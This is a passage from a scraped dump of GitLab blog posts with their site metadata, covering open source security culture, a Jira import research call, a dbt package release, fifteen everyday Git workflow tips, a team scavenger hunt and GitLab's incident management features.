with bug submissions coming in from Hacker One. But we also have people at GitLab looking for security flaws in various open source packages that are a part of the \"supply chain\". These outside packages may be used in the GitLab product. When one of these packages has a flaw in it, there can be impact to both open source projects like ours, as well as closed source projects. It may be surprising to learn that a lot of closed source projects use open source libraries.\n\nUsing an open source library to complete a coding project is not uncommon and in fact highly encouraged. For example, reading through the Internet standards for protocol implementation of HTTPS could not only be daunting, but coding it without the experience of writing security-related code is ill-advised unless you are an expert in the field. Including a security-related open source library in your project can solve that issue. But speaking of something as complex as HTTPS, for example, brings up another problem - implementation.\n\n## The implementation issue\n\nA flaw is found in an open source package. Hundreds of applications are using the open source package with the vulnerability, yet only half of these applications are exploitable via the flaw. Why? A lot of times it comes down to implementation.\n\nWhen given a choice between one setting versus another, there are ramifications to consider when deciding which might make the most secure implementation. These choices have consequences. One choice could impact performance - especially at scale. Another choice could leave things more vulnerable. There are compliance issues to consider. All of these items need to be weighed carefully.\n\nIt’s a core thing at GitLab to be sure that we implement things in ways that are more secure. I’ve worked at numerous software vendors over the years and GitLab is one of the largest. Most organizations of this size do not release code nearly as often as we do, and most do not take security as seriously. When I started working here, I was pleasantly surprised at how much security was part of the process.\n\n## Trust the transparency\n\nWe’re not only a [transparent company](https://handbook.gitlab.com/handbook/values/#transparency), we’re an open core company. This means that the core part of our product is open source and free to download and use, while we have a number of paid options for increased features and services. This applies to everything in our company and is an added benefit when it comes to security. We’re very open about disclosing security problems. For example, when a bug affects our open source code any future code commit to fixing the problem also shows the vulnerability. At some of my other employers there were often discussions about the \"exposure\" of the company when revealing a vulnerability, and a pull between departments about how much to disclose. Sometimes those disclosure discussions turned political. At GitLab that problem is eliminated as we’ve made the commitment to completely disclose the issue. We’ve even extended this to the parts of our offerings that are not a part of that core product. It is in the best interest of our users to have complete information about the security of GitLab.\n\n## The role DevSecOps plays\n\nWhen it comes to writing code, bugs - security-related or not - are the nature of the beast. The trick is to expect it and plan for it. Here at GitLab we’re doing the DevSecOps thing: extraordinarily rapid development while retaining a [focus on security](/solutions/security-compliance/). There is a tendency here for our engineers to take the time and do things right. Bugs can impact performance and availability and security bugs are no different. This is why GitLab works so hard on delivering code that is as clean and secure as possible. When we manage to do that it’s a win/win. When bugs do occur, we have developed processes to deal with them which includes updates to our development processes if necessary to help improve the entire process.\n\n## Game on\n\nIf you’re trying to up your open source security game you already know it’s a constant work in progress. We encourage open source as much as possible! Open source or not, here are a few things that we’ve done at GitLab that apply to security:\n\n- You have to have security people involved in the company. Any security team needs to have people who have the capacity to analyze and handle flaws in code, whether the code is internal or external.\n- The security people need to be on staff. They need to have the freedom to do their jobs.\n- Upper management has to buy into security. If security is top of mind for upper management it will be easier to get things done at the department level.\n- **Lose the culture of shame and punishment for security problems.** It exists in lots of places and it’s why people start trying to hide bugs. There should not be a carrot and a stick involved in security.\n- Make security something that’s muscle memory and you’ll be golden.\n\n\nCover image by [Wolfgang Hasselmann](https://unsplash.com/@wolfgang_hasselmann) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[815,674,2952],{"slug":24122,"featured":6,"template":678},"open-source-security","content:en-us:blog:open-source-security.yml","Open Source Security","en-us/blog/open-source-security.yml","en-us/blog/open-source-security",{"_path":24128,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24129,"content":24134,"config":24139,"_id":24141,"_type":16,"title":24130,"_source":17,"_file":24142,"_stem":24143,"_extension":20},"/en-us/blog/jira-importer-research",{"title":24130,"description":24131,"ogTitle":24130,"ogDescription":24131,"noIndex":6,"ogImage":18381,"ogUrl":24132,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24132,"schema":24133},"Jira Importer Research","Senior Product Designer Holly Reynolds is seeking participants for research surrounding importing Jira issues.","https://about.gitlab.com/blog/jira-importer-research","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Jira Importer Research\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Holly Reynolds\"}],\n        \"datePublished\": \"2020-04-08\",\n      }",{"title":24130,"description":24131,"authors":24135,"heroImage":18381,"date":24136,"body":24137,"category":18484,"tags":24138},[21269],"2020-04-08","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nWorking with multiple DevOps applications including Jira and GitLab? Looking to consolidate to or test drive GitLab with your own existing Jira issues? We are researching ways to provide options for importing issues from Jira into GitLab and need your help!\n\n**Problem Overview**\nWe believe our [Project Management](https://about.gitlab.com/solutions/agile-delivery/) users need a way to easily transfer existing issues from Jira into GitLab beyond what's possible with CSV exports. We want to dive deeper into understanding what will provide the most value for these users in this import process from the start and what their expectations are for this experience.\n\n**Our recruiting Challenge**\nThis is a bit of a unique group we're seeking feedback from in that a specific persona may not always apply. For example, both a [Systems Admin](https://about.gitlab.com/handbook/product/personas/#sidney-systems-administrator) or a [DevOps Engineer](https://about.gitlab.com/handbook/product/personas/#devon-devops-engineer) could be responsible for helping their team transition from Jira to GitLab. We'd like to hear from anyone with issues currently in Jira that would like to import them into GitLab via an API.\n",[754,2248,2249,8570,1307],{"slug":24140,"featured":6,"template":678},"jira-importer-research","content:en-us:blog:jira-importer-research.yml","en-us/blog/jira-importer-research.yml","en-us/blog/jira-importer-research",{"_path":24145,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24146,"content":24151,"config":24155,"_id":24157,"_type":16,"title":24158,"_source":17,"_file":24159,"_stem":24160,"_extension":20},"/en-us/blog/snowflake-spend-dbt-package-release",{"title":24147,"description":24148,"ogTitle":24147,"ogDescription":24148,"noIndex":6,"ogImage":18477,"ogUrl":24149,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24149,"schema":24150},"Snowflake Spend dbt Package Release 1.1.0","The latest Snowflake Spend dbt package release is helping companies become even more efficient.","https://about.gitlab.com/blog/snowflake-spend-dbt-package-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Snowflake Spend dbt Package Release 1.1.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor Murphy\"},{\"@type\":\"Person\",\"name\":\"Emilie Schario\"}],\n        \"datePublished\": \"2020-04-08\",\n      }",{"title":24147,"description":24148,"authors":24152,"heroImage":18477,"date":24136,"body":24154,"category":18484},[24153,24044],"Taylor Murphy","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## Summary\n\n* Added Snowflake's Query History Model to the package ([!5](https://gitlab.com/gitlab-data/snowflake_spend/-/merge_requests/5/) from [@nehiljain](https://gitlab.com/nehiljain))\n* Updated the structure of the package to use Sources ([!7](https://gitlab.com/gitlab-data/snowflake_spend/-/merge_requests/7/))\n\nThanks to [@m_walker](https://gitlab.com/m_walker), [@mpeychet_](https://gitlab.com/mpeychet_), and [@nehiljain](https://gitlab.com/nehiljain) who helped make this release happen!\n\n## Contributors\n\nThanks [@nehiljain](https://gitlab.com/nehiljain) for contributing your first MR.\n\n## Feedback\n\nIf you're using the package, we'd love your feedback.\n\n* See the original announcement: [Managing your Snowflake Spend with Periscope and dbt](https://about.gitlab.com/blog/managing-your-snowflake-spend-with-periscope-and-dbt/)\n* Get started with [the Snowflake Spend package](https://gitlab.com/gitlab-data/snowflake_spend).\n* Share feedback by creating [an issue](https://gitlab.com/gitlab-data/snowflake_spend/-/issues).\n\n[Everyone Can Contribute.](/company/mission/#mission)\n",{"slug":24156,"featured":6,"template":678},"snowflake-spend-dbt-package-release","content:en-us:blog:snowflake-spend-dbt-package-release.yml","Snowflake Spend Dbt Package Release","en-us/blog/snowflake-spend-dbt-package-release.yml","en-us/blog/snowflake-spend-dbt-package-release",{"_path":24162,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24163,"content":24168,"config":24173,"_id":24175,"_type":16,"title":24176,"_source":17,"_file":24177,"_stem":24178,"_extension":20},"/en-us/blog/15-git-tips-improve-workflow",{"title":24164,"description":24165,"ogTitle":24164,"ogDescription":24165,"noIndex":6,"ogImage":23965,"ogUrl":24166,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24166,"schema":24167},"15 Git tips to improve your workflow","Learn how to compare commits, delete stale branches, and write aliases to save you some time. It's time to dust off your command line and Git busy!","https://about.gitlab.com/blog/15-git-tips-improve-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"15 Git tips to improve your workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2020-04-07\",\n      }",{"title":24164,"description":24165,"authors":24169,"heroImage":23965,"date":24170,"body":24171,"category":813,"tags":24172},[20767],"2020-04-07","\n\nThis year, [Git](https://git-scm.com/) celebrates its 15th anniversary, and we’ve been excitedly posting some thoughts about its creation and impact — from sharing our experience at [Git Merge 2020](/blog/git-merge-fifteen-year-git-party/), discussing [the problem with Git flow](/blog/what-is-gitlab-flow/), or highlighting the newest Git feature [Partial Clone](/blog/partial-clone-for-massive-repositories/).\n\nWhether you’re just getting started with Git, or you know your way around a command line, it’s always nice to brush up on your skills, which is why we’ve gathered 15 methods to improve your Git-based workflow.\n\n### 1. Git aliases\n\nOne of the most impactful ways to improve your daily workflow is to create aliases for common commands to save you some time in the terminal.\n\nYou can use the following commands to create aliases for the most-used Git commands, `checkout`, `commit` and `branch`.\n\n```\ngit config --global alias.co checkout\ngit config --global alias.ci commit\ngit config --global alias.br branch\n```\n\nInstead of typing `git checkout master`, you only need to type `git co master`.\n\nYou could also edit these commands or add more by modifying the `~/.gitconfig` file directly:\n\n```\n[alias]\n    co = checkout\n    ci = commit\n    br = branch\n```\n\n### 2. See the repository status in your terminal’s prompt\n\nIf you’d like to visualize the status of your repository, you can run `git-prompt.sh`\n(you can [download it](https://github.com/git/git/blob/master/contrib/completion/git-prompt.sh) and follow the\ninstructions to use it in your system). If you're using Linux\nand have installed Git with your package manager, it may already be\npresent on your system, likely under `/etc/bash_completion.d/`.\n\nYou can replace your standard shell prompt with something a bit more exciting:\n\n![Git shell prompt](https://about.gitlab.com/images/blogimages/git-tricks/git-shell-info.png){: .shadow}\n\n_Taken from oh-my-zsh's [themes wiki](https://github.com/robbyrussell/oh-my-zsh/wiki/Themes#kafeitu)._\n\n### 3. Compare commits from the command line\n\nA simple way to compare the differences between commits or versions of the same file is to use the `git diff` command.\n\nIf you want to compare the same file between different commits, you run the following:\n\n```\n$ git diff $start_commit..$end_commit -- path/to/file\n```\n\nIf you want to compare the changes between two commits:\n\n```\n$ git diff $start_commit..$end_commit\n```\n\nThese commands will open the diff view inside the terminal, but if you prefer to use a more visual tool to compare your diffs, you can use `git difftool`. [Meld](https://meldmerge.org/) is a useful viewer/editor to visually compare diffs.\n\nTo configure Meld:\n\n```\n$ git config --global diff.tool git-meld\n```\n\nTo start viewing the diffs:\n\n```\n$ git difftool $start_commit..$end_commit -- path/to/file\n# or\n$ git difftool $start_commit..$end_commit\n```\n\n### 4. Stashing uncommitted changes\n\nIf you’re ever working on a feature and need to do an emergency fix on the project, you could run into a problem. You don’t want to commit an unfinished feature, and you also don’t want to lose current changes. The solution is to temporarily remove these changes with the Git stash command:\n\n```\n$ git stash\n```\n\nThe git stash command hides changes, giving you a clean working directory and the ability to switch to a new branch to make updates, without having to commit a meaningless snapshot in order to save the current state.\n\nOnce you’re done working on a fix and want to revisit your previous changes, you can run:\n\n```\n$ git stash pop\n```\n\nAnd your changes will be recovered. 🎉\n\nIf you no longer need those changes and want to clear the stash stack, you can do so with:\n\n```\n$ git stash drop\n```\n\n### 5. Pull frequently\n\nIf you’re using [GitLab Flow](/solutions/gitlab-flow/), then you’re working\non feature branches. Depending on how long your feature takes to implement, there might be several changes made to the master branch. In order to avoid major conflicts, you should frequently pull the changes from the master branch to your branch to resolve any conflicts as soon as possible and to make merging your branch to master easier.\n\n### 6. Autocomplete commands\n\nUsing [completion scripts](https://github.com/git/git/tree/master/contrib/completion), you can quickly create the commands for `bash`, `tcsh` and `zsh`. If you want to type `git pull`, you can type just the first letter with `git p` followed by \u003Ckbd>Tab\u003C/kbd> will show the following:\n\n```\npack-objects   -- create packed archive of objects\npack-redundant -- find redundant pack files\npack-refs      -- pack heads and tags for efficient repository access\nparse-remote   -- routines to help parsing remote repository access parameters\npatch-id       -- compute unique ID for a patch\nprune          -- prune all unreachable objects from the object database\nprune-packed   -- remove extra objects that are already in pack files\npull           -- fetch from and merge with another repository or local branch\npush           -- update remote refs along with associated objects\n```\n\nTo show all available commands, type `git` in your terminal followed by\n\u003Ckbd>Tab\u003C/kbd>+ \u003Ckbd>Tab\u003C/kbd>.\n\n### 7. Set a global `.gitignore`\n\nIf you want to avoid committing files like `.DS_Store` or Vim `swp` files,\nyou can set up a global `.gitignore` file.\n\nCreate the file:\n\n```bash\ntouch ~/.gitignore\n```\n\nThen run:\n\n```bash\ngit config --global core.excludesFile ~/.gitignore\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[core]\n  excludesFile = ~/.gitignore\n```\nYou can create a list of the things you want Git to ignore. To learn more, visit the [gitignore documentation](https://git-scm.com/docs/gitignore).\n\n### 8. Enable Git’s autosquash feature by default\n\nAutosquash makes it easier to squash commits during an interactive rebase. It can be enabled for each rebase using `git rebase -i --autosquash`, but it's easier to turn it on by default.\n\n```bash\ngit config --global rebase.autosquash true\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[rebase]\n  autosquash = true\n```\n\n### 9. Delete local branches that have been removed from remote on fetch/pull\n\nYou likely have stale branches in your local repository that no longer exist in the remote one. To delete them in each fetch/pull, run:\n\n```bash\ngit config --global fetch.prune true\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[fetch]\n  prune = true\n```\n\n### 10. Use Git blame more efficiently\n\nGit blame is a handy way to discover who changed a line in a file. Depending on what you want to show, you can pass different flags:\n\n```\n$ git blame -w  # ignores white space\n$ git blame -M  # ignores moving text\n$ git blame -C  # ignores moving text into other files\n```\n\n### 11. Add an alias to check out merge requests locally\n\nA [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/) contains all the history from a repository, and the additional\ncommits added to the branch associated with the MR. You can check out a public merge request locally even if the source project is a fork (even a private fork) of the target project.\n\nTo check out a merge request locally, add the following alias to your `~/.gitconfig`:\n\n```\n[alias]\n  mr = !sh -c 'git fetch $1 merge-requests/$2/head:mr-$1-$2 && git checkout mr-$1-$2' -\n```\n\nNow you can check out a merge request from any repository and any remote. For example, to check out the merge request with ID 5 as shown in GitLab\nfrom the `upstream` remote, run:\n\n```\ngit mr upstream 5\n```\n\nThis will fetch the merge request into a local `mr-upstream-5` branch and check\nit out. In the above example, `upstream` is the remote that points to GitLab\nwhich you can find out by running `git remote -v`.\n\n### 12. An alias of `HEAD`\n\nBreaking news: `@` is the same as `HEAD`. Using it during a rebase is a lifesaver:\n\n```bash\ngit rebase -i @~2\n```\n\n### 13. Resetting files\n\nYou’re modifying your code when you suddenly realize that the changes you made are not great, and you’d like to reset them. Rather than clicking undo on everything you edited, you can reset your files to the HEAD of the branch:\n\n```\n$ git reset --hard HEAD\n```\n\nOr if you want to reset a single file:\n\n```\n$ git checkout HEAD -- path/to/file\n```\n\nNow, if you already committed your changes, but still want to revert back, you can use:\n\n```\n$ git reset --soft HEAD~1\n```\n\n### 14. The `git-open` plugin\n\nIf you’d like to quickly visit the website that hosts the repository you’re on, you’ll need `git-open`.\n\n[Install it](https://github.com/paulirish/git-open#installation) and take it for a spin by cloning a repository from\n[GitLab.com](https://gitlab.com/explore). From your terminal, navigate to the\nrepository and run `git open` to be transferred to the project’s page on\nGitLab.com.\n\nThe plugin works by default for projects hosted on GitLab.com, but you can also use it\nwith your own GitLab instances. In that case, set up the domain name with:\n\n```bash\ngit config gitopen.gitlab.domain git.example.com\n```\n\nYou can open different remotes and branches if they have been set up. You can learn more by checking out the [examples section](https://github.com/paulirish/git-open#examples).\n\n### 15. The `git-extras` plugin\n\nIf you want to elevate Git with more commands, try out the\n[`git-extras` plugin](https://github.com/tj/git-extras), which includes `git info` (show\ninformation about the repository) and `git effort` (number of commits per file).\n\n## Learn more about Git\n\nWe’re excited to announce that [Brendan O’Leary](/company/team/#brendan), senior developer evangelist, will create 15 videos to celebrate Git's anniversary over the next several months. He’ll focus on a variety of topics, from rebasing and merging to cherry-picking and branching. Take a look at the first video in the series. 🍿\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/9oDNBuive-g\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Brooke Lark](https://unsplash.com/@brookelark?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/birthday?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1067,1444,1207],{"slug":24174,"featured":6,"template":678},"15-git-tips-improve-workflow","content:en-us:blog:15-git-tips-improve-workflow.yml","15 Git Tips Improve Workflow","en-us/blog/15-git-tips-improve-workflow.yml","en-us/blog/15-git-tips-improve-workflow",{"_path":24180,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24181,"content":24187,"config":24193,"_id":24195,"_type":16,"title":24196,"_source":17,"_file":24197,"_stem":24198,"_extension":20},"/en-us/blog/cs-scavenger-hunt",{"title":24182,"description":24183,"ogTitle":24182,"ogDescription":24183,"noIndex":6,"ogImage":24184,"ogUrl":24185,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24185,"schema":24186},"Customer Success Scavenger Hunt","The CS team was challenged with a weekend-long scavenger hunt to utilize their creativity and collaboration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681215/Blog/Hero%20Images/rocky.jpg","https://about.gitlab.com/blog/cs-scavenger-hunt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer Success Scavenger Hunt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chloe Whitestone\"}],\n        \"datePublished\": \"2020-04-06\",\n      }",{"title":24182,"description":24183,"authors":24188,"heroImage":24184,"date":24190,"body":24191,"category":18484,"tags":24192},[24189],"Chloe Whitestone","2020-04-06","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAs part of our [Contribute](https://about.gitlab.com/events/gitlab-contribute/) event, the Customer Success team had planned to do a scavenger hunt as a team-building activity. I, for one, absolutely love scavenger hunts, so I was thrilled. Unfortunately, Contribute this year was canceled, so I decided to make a virtual scavenger hunt for our team to enjoy instead.\n\n### Planning\n\nHow else would I start planning something at GitLab? I created [an issue](https://gitlab.com/gitlab-com/customer-success/tam/issues/212) to document my ideas, then I announced it to my team both synchronously and asynchronously. I wanted this to be as fun and easy as possible, so I only asked two things of my teammates:\n\n1. Vote on a weekend that worked well for them\n2. Join a Slack channel (#cs-scavenger-hunt-2020)\n\n![Annoucing the Scavenger Hunt](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/announcement.png){: .shadow}\n\nI didn't want to disrupt work hours, so this being on a weekend was another reason participating was purely voluntary. I gave everyone a week to vote on a date, then 3 days to join (or leave) the channel. Joining the Slack channel acted as registering for the event. I made sure to send them very important reminders throughout the weeks leading up to it, as well!\n\nMeanwhile, I went to work thinking of social distancing-friendly things I could include on the scavenger hunt. The goal was for team members to be able to take pictures of everything on the list, using creativity and teamwork, without needing to go out into public. I ended up with 40 items, some much more challenging than others, but everything doable and hopefully silly! I had zero expectations of people finishing the list, but some teams came extremely close! I created a [scavenger hunt project](https://gitlab.com/cs-scavenger-hunt/welcome-to-the-jungle/) where I created a README with guidelines and an issue with the full list of their tasks.\n\nOn the Thursday before the scavenger hunt, I gave the participants two critical pieces of information:\n\n1. Their teams - we had a total of 22 participants, so I divided them into 11 groups of 2, trying to be mindful of timezones, as well as trying to pair people I didn't think knew each other very well\n2. The link to the scavenger hunt project\n\nThroughout the next day, teams strategized for what tasks each person could do and fostered some healthy competition.\n\n### The Hunt Begins!\n\nThe scavenger hunt officially began at 12am in each team member's local timezone, and there was an element of collaboration required, as some tasks needed help from outside sources.\n\nFor example, one task I expected to be difficult, but the teams got creative quickly! The task was \"Screenshot other people saying the word “collaboration” to you in Slack or Zoom chat (screenshot must include the date & time) - 1 point for every different person, and 10 extra points if it’s from a member of the e-group.\" I woke up Saturday morning to see several posts in our company-wide Slack channel asking for team members to comment with the word \"collaboration\", and even our CEO posted a response!\n\n![Collaboration at Work](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/collaboration.png){: .shadow}\n\nOther tasks ranged from deciphering clues (\"Take a picture of a representation of 26.357896, 127.783809\" - those coordinates link to a picture of the Batman signal, and \"Take a picture of a team member doing the title of v=0UIB9Y4OFPs\" - that string leads to a YouTube video of \"Pour Some Sugar On Me\") to taking pictures of things at home, like them completing a puzzle and finding the oldest expired food item in their pantry.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1aM7Wg7V65I5-YOKfFptybL28vmRUqt90/preview\" width=\"640\" height=\"480\">\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### The Winners\n\nI requested that all pictures be due before the Tuesday after the scavenger hunt ended, and the teams uploaded their pictures to a Google Drive folder and shared it with me.\n\nOn the backend, I created a spreadsheet to calculate the winners. I created a tab for each team, with a link to their pictures at the top, then went through their pictures and entered a score next to each task. Here's how I approached the scoring:\n\n- Tasks with no pictures got 0 points\n- Tasks with pictures that got the spirit of the task but weren't complete or correct got 0.5 points\n- Tasks with pictures that were either complete or correct got 1 point\n- Tasks with pictures that also included other tasks got extra points\n- Tasks with pictures that demonstrated creativity got extra points\n- Tasks with videos as opposed to pictures got extra points\n\nAdditionally, the final task was intentionally vague and as such worth an extra 30 points. The task was \"There is a storage locker that contains a duffel bag filled with the final prize. Each team member has already been given the key. Find it and take a picture with the person who holds the treasure.\" This is a reference to Rat Race, but that didn't help team members at all. The \"storage locker\" was a project within the GitLab group I shared.  The \"duffel bag\" was a .gitlab-ci.yml file in that project. The \"key\" was them receiving access to this project the day the scavenger hunt began. The \"person who holds the treasure\" was a member of our team not participating, Hugo, because the .gitlab-ci.yml file was created with a [Hugo template](https://gitlab.com/pages/hugo/container_registry). Only one team figured out this clue! (No surprise they were also the winners!)\n\n![Sophie, Ove, and Hugo!](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/hugo.jpg){: .shadow}\n\nAfter letting my spreadsheet do the math, the winners were indubitable. With an incredible 200 points, team \"Candy Corn Skeleton\" won the hunt!\n\nBut the goal of this wasn't to have winners - it was to have fun together, build relationships and hopefully bring some joy into our lives, no matter what today's climate looks like. So I also ordered special limited-edition Sherlock Holmes-themed GitLab stickers, that I will give to all participants as a thank you.\n\nI can't wait to do this again in the future, hopefully have it be more automated, and with even more people! Keep scrolling for a few of my favorite pictures and videos from this weekend!\n\n![Recreating Abbey Road](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/abbey-road1.jpeg){: .shadow}\n![Recreating Abbey Road](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/abbey-road2.jpg){: .shadow}\n![Favorite Halloween Costume](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/halloween.jpeg){: .shadow}\n![Favorite Quarantine Meal](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/quarantine-meal.jpg){: .shadow.small} ![Silliest Face You Can Make](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/silly-face2.jpg){: .shadow.small}\n![Silliest Face You Can Make](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/silly-face1.jpg){: .shadow}\n![Vulcan Salute](https://about.gitlab.com/images/blogimages/cs-scavenger-hunt/vulcan-salute.png){: .shadow}\n\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1IsSXvlZnKmb7fXjelENoCR127YdRMpbL/preview\" width=\"640\" height=\"480\">\u003C/iframe>\n\u003C/figure>\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1oM8ZoafL1VCb2NQ0wZlWZCu2dF5YTku-/preview\" width=\"640\" height=\"480\">\u003C/iframe>\n\u003C/figure>\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1SzZXX489KSXa2qIjHU2Rt-XA1B69ESys/preview\" width=\"640\" height=\"480\">\u003C/iframe>\n\u003C/figure>\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1RtxLWNQY2av5O-sXy-MSK6f8XP_zmBVe/preview\" width=\"640\" height=\"480\">\u003C/iframe>\n\u003C/figure>\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1CHtoKEUIiZqAbeSUbCKMnRAIJUTOM_2p/preview\" width=\"640\" height=\"480\">\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[676],{"slug":24194,"featured":6,"template":678},"cs-scavenger-hunt","content:en-us:blog:cs-scavenger-hunt.yml","Cs Scavenger Hunt","en-us/blog/cs-scavenger-hunt.yml","en-us/blog/cs-scavenger-hunt",{"_path":24200,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24201,"content":24207,"config":24212,"_id":24214,"_type":16,"title":24215,"_source":17,"_file":24216,"_stem":24217,"_extension":20},"/en-us/blog/incident-management-with-gitlab",{"title":24202,"description":24203,"ogTitle":24202,"ogDescription":24203,"noIndex":6,"ogImage":24204,"ogUrl":24205,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24205,"schema":24206},"Understand incident management with GitLab","GitLab Incident Management helps your response teams focus on the problem and shorten the mean time to repair rather than waste time on the process itself.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681208/Blog/Hero%20Images/incident-management-blog-cover.jpg","https://about.gitlab.com/blog/incident-management-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Understand incident management with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Waldner\"}],\n        \"datePublished\": \"2020-04-03\",\n      }",{"title":24202,"description":24203,"authors":24208,"heroImage":24204,"date":24209,"body":24210,"category":8943,"tags":24211},[10093],"2020-04-03","\n\nManaging incidents can be stressful! While you’re busy trying to restore service for your customers, you are also likely juggling several competing priorities: digging through multiple tools to understand the problem, communicating with stakeholders, and updating tickets in different systems. Did you know that you can use GitLab to help manage the chaos?\n\nGitLab Incident Management, which recently became a [viable category](/direction/maturity/), aims to decrease the overhead of managing an incident so response teams can spend more time actually resolving problems. We do this by enabling teams to quickly gather the resources in one central, aggregated view. We facilitate communication and enable teams to have dialogs that can be captured all in the same tool they already use to collaborate on development. Ultimately, GitLab Incident Management can help response teams to shorten [MTTR](https://en.wikipedia.org/wiki/Mean_time_to_repair).\n\n## Why Incident Management within GitLab?\n\nGitLab is a complete [DevOps platform](/topics/devops/), delivered as a [single application](/handbook/product/single-application/). As such, we believe there are additional benefits for DevOps users to manage incidents within GitLab.\n\n1. Co-location of code, CI/CD, monitoring tools, and incidents reduces context switching and enables GitLab to correlate what would be disparate events or processes within one single control pane.\n1. The same interface for collaboration for development and incident response streamlines the process. The developers who are on call can use the same interface that they already use every day; this prevents the incident responders from having to use a tool that they are unfamiliar with and thus hampering their ability to respond to the incident.\n\n## GitLab Incident Management Capabilities\n\nAvailable today, GitLab Incident Management includes the following highlighted capabilities:\n* [Incident issues](https://docs.gitlab.com/ee/operations/incident_management/index.html#configuring-incidents) as the one place to capture all data and information related to the incident.\n* [Integration with Slack](https://docs.gitlab.com/ee/user/project/integrations/gitlab_slack_application.html#gitlab-slack-application-free-only) to facilitate intuitive team communication\n* [Link Zoom calls to GitLab issues](https://docs.gitlab.com/ee/operations/incident_management/index.html#zoom-in-issues) to facilitate synchronous communication\n* [Embed GitLab-managed Kubernetes metrics](https://docs.gitlab.com/ee/operations/incident_management/index.html#gitlab-hosted-metrics) directly within the GitLab Incident Issue\n* [Embed generic Grafana metrics](https://docs.gitlab.com/ee/operations/incident_management/index.html#grafana-metrics) directly within the GitLab Incident Issue\n* [The GitLab alerts endpoint](https://docs.gitlab.com/ee/operations/incident_management/index.html#alert-endpoint) can accept alerts from any source via a generic webhook receiver\n* Prometheus Recovery alerts can [automatically close issues](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#taking-action-on-incidents) that were created when you receive notification that the alert is resolved.\n\n## How to use GitLab Incident Management\n\nThere are numerous entry points to a potential incident. As an incident responder, once you are aware of an ongoing incident, you can manually create an incident issue by simply tagging the issue with the `incident` label.\n\nAlternatively, you can also configure GitLab to automatically create incidents based on alerts from your monitoring tool. When an alert is posted to the GitLab [Alerts endpoint](https://docs.gitlab.com/ee/operations/incident_management/integrations.html), GitLab can create incidents using an [issue template](https://docs.gitlab.com/ee/user/project/description_templates.html), populating important information useful to the incident response team.\n\nThe incident issue template can be customized using [quick actions](https://docs.gitlab.com/ee/user/project/description_templates.html) to label, mention team members, or assign to specific people automatically. Doing so will help create incidents that have a consistent baseline set of information to help jumpstart the incident response.\n\nAs more details for the ongoing incident emerge, you can directly embed GitLab-managed Kubernetes cluster metrics and application metrics in the incident. You can also embed other Grafana metrics in the incident if this is a critical tool for your team. Sharing up to date information in a central location will help facilitate understanding and enable the incident response team to move forward armed with the latest information. Having embedded charts can also enable more effective retrospectives by having relevant information within the same view.\n\nAs the firefight progresses, the incident response team is encouraged to add timeline events, updates, questions, and answers to the incident. These interactions help create an audit trail and enable shared understanding across the team.\n\nAt the end, an incident can be automatically closed once GitLab receives a recovery alert via the enabled Prometheus recovery alert integration. As the team reconvenes to determine actionable next steps, it  can leverage the completed incident ticket 